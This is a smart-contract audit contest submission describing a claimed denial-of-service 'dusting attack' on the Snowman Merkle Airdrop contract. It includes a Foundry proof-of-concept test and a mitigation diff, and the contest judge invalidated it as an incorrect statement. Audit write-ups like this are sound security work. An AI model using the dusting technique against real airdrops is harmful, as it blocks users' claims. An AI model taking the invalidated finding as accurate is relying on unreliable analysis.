Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Denial of Service via Forced Balance Manipulation in Merkle Leaf Construction

Root + Impact

Description

  • Under normal behavior, a Merkle Drop contract reconstructs a leaf node using a user's address and their eligible snapshot amount, then verifies this leaf against a stored Merkle Root to authorize a claim.

    However, the SnowmanAirdrop contract incorrectly retrieves the amount used for the leaf generation directly from the user's current token balance (i_snow.balanceOf(receiver)). Because Merkle Roots are generated from static off-chain snapshots, the contract forces a strict dependency where the user's current balance must exactly match their snapshot balance.

    The root cause is highlighted below:

function claimSnowman(...) external {
// ... validation ...
// BUG: The leaf is generated using the user's DYNAMIC current balance
@> uint256 amount = i_snow.balanceOf(receiver);
// This creates a unique hash based on the current balance
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
// This check fails if the current balance does not EXACTLY match the snapshot
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
// ...
}

Risk

Likelihood: High

  • The contract logic relies on balanceOf(receiver) for leaf construction in every single execution of claimSnowman.

  • ERC20 token balances are public and mutable; any third party can modify another user's balance by transferring a minimal amount (1 wei) of tokens to them.

Impact: High

  • Legitimate users will be permanently blocked from claiming their airdrop if they have bought more tokens or received any tokens since the snapshot was taken.

  • A malicious actor can perform a "Dusting Attack" by sending 1 wei of Snow to all eligible addresses, causing the calculated leaf hash to mismatch the Merkle Root for every user, effectively bricking the entire airdrop.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {Merkle} from "murky/Merkle.sol"; // Standard library for generating roots in tests
contract SnowmanAirdropPoC is Test {
SnowmanAirdrop public airdrop;
Snow public snow;
Snowman public snowman;
Merkle public merkle;
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
bytes32[] public merkleProof;
bytes32 public root;
function setUp() public {
snow = new Snow();
snowman = new Snowman();
merkle = new Merkle();
// 1. Setup Airdrop Data: Victim is entitled to 100 tokens
uint256 snapshotAmount = 100 ether;
snow.mint(victim, snapshotAmount);
// 2. Generate Merkle Tree
bytes32[] memory data = new bytes32[](1);
data[0] = keccak256(bytes.concat(keccak256(abi.encode(victim, snapshotAmount))));
root = merkle.getRoot(data);
merkleProof = merkle.getProof(data, 0);
// 3. Deploy Airdrop
airdrop = new SnowmanAirdrop(root, address(snow), address(snowman));
}
function test_dustingAttack_DoS() public {
// --- STEP 1: Attacker sends 1 wei to the victim ---
uint256 dust = 1;
snow.mint(attacker, dust);
vm.prank(attacker);
snow.transfer(victim, dust);
console.log("Victim Balance:", snow.balanceOf(victim));
// Balance is now 100000000000000000001 (Snapshot was exactly 100000000000000000000)
// --- STEP 2: Victim tries to claim ---
// We simulate the signature (v, r, s) - for PoC we'll assume it passes or skip to the proof fail
// Note: The getMessageHash will ALSO fail here because it uses the dynamic balance!
vm.startPrank(victim);
snow.approve(address(airdrop), type(uint256).max);
// In a real scenario, the user would generate a signature.
// Here, the transaction will REVERT because the leaf calculated by the contract
// (using the new balance) won't match the Root.
vm.expectRevert(SnowmanAirdrop.SA__InvalidProof.selector);
airdrop.claimSnowman(victim, merkleProof, 0, bytes32(0), bytes32(0));
vm.stopPrank();
console.log("PoC Success: Victim cannot claim due to 1 wei balance change.");
}
}

Recommended Mitigation

- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
// ... signature checks ...
- uint256 amount = i_snow.balanceOf(receiver);
+ // Use the passed parameter for the leaf, which matches the static snapshot
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
+ // Ensure the user has ENOUGH tokens to cover the claim (current balance >= snapshot amount)
+ if (i_snow.balanceOf(receiver) < amount) {
+ revert SA__ZeroAmount();
+ }
i_snow.safeTransferFrom(receiver, address(this), amount);
// ... minting logic ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!